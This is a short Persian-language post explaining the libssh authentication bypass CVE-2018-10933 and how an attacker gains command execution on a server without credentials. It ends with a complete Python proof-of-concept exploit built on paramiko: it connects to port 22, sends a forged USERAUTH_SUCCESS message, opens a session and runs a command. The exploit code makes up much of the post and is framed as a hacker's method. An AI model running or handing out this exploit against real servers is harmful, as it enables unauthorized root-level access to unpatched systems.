در این پست در مورد نحوه اکسپلویت احراز هویت libssh که دارای کد آسیب پذیری CVE-2018-10933 با درجه اهمیت بحرانی CVSS v3-9.1 است شرح می‌دهد و اینکه از چه طریقی هکر از آن برای اجرای دستورات بر روی سیستم عامل استفاده می‌کند و بدون نام کاربری و پسورد دسترسی root سیستم را در اختیار هکر می‌گذارد.

مشکل اصلی کتابخانه libssh که در پروتکل SSHv2 بر روی کلاینت و سرور پیاده سازی میشود این موضوع است که وضعیت احراز هویت کاربر را نگهداری نمیکند. هکر با ارسال درخواست “SSH2_MSG_USERAUTH_SUCCESS” به سرور، سرور را فریب میدهد و سرور فرض میکند که کاربر احراز هویت شده است و اجازه ورود به هکر میدهد.

فرض کنید کانکشن چندین مرحله دارد: مرحله۱، مرحله۲، مرحله۳ و … حالا libssh ترتیب مراحل را به درستی اجرا نمیکند. به عنوان مثال بدون پشت سرگذاشتن مراحل ۱ و ۲ به مرحله ۳ میرود. همین مشکل در کتابخانه paramiko پیدا شده بود که کد آسیب پذیری این کتابخانه CVE 2018-7750 است.

نحوه اکسپلویت کردن این باگ:

شما باید به سرور هدف بوسیله socket و از طریق hostname  و port متصل شوید و بعد paramiko را به سوکت wrap کنید. سپس یک پیغام به سرور بفرستید که متوجه میشود احراز هویت با موفقیت انجام شده است. در آخر هکر میتواند دستورات مدنظر هکر را برروی سرور اجرا کند.

ویدیوی کوتاه نحوه استفاده از این نقص را تصویری نشان میدهد.

import sys
import paramiko
import socket
sock = socket.socket()
sock.connect((str(“ip”), int(22)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
cmd = transport.open_session()
cmd.exec_command(“uname”)
out=cmd.makefile(“rb”,۲۰۴۸)
output=out.read()
out.close()
print (output)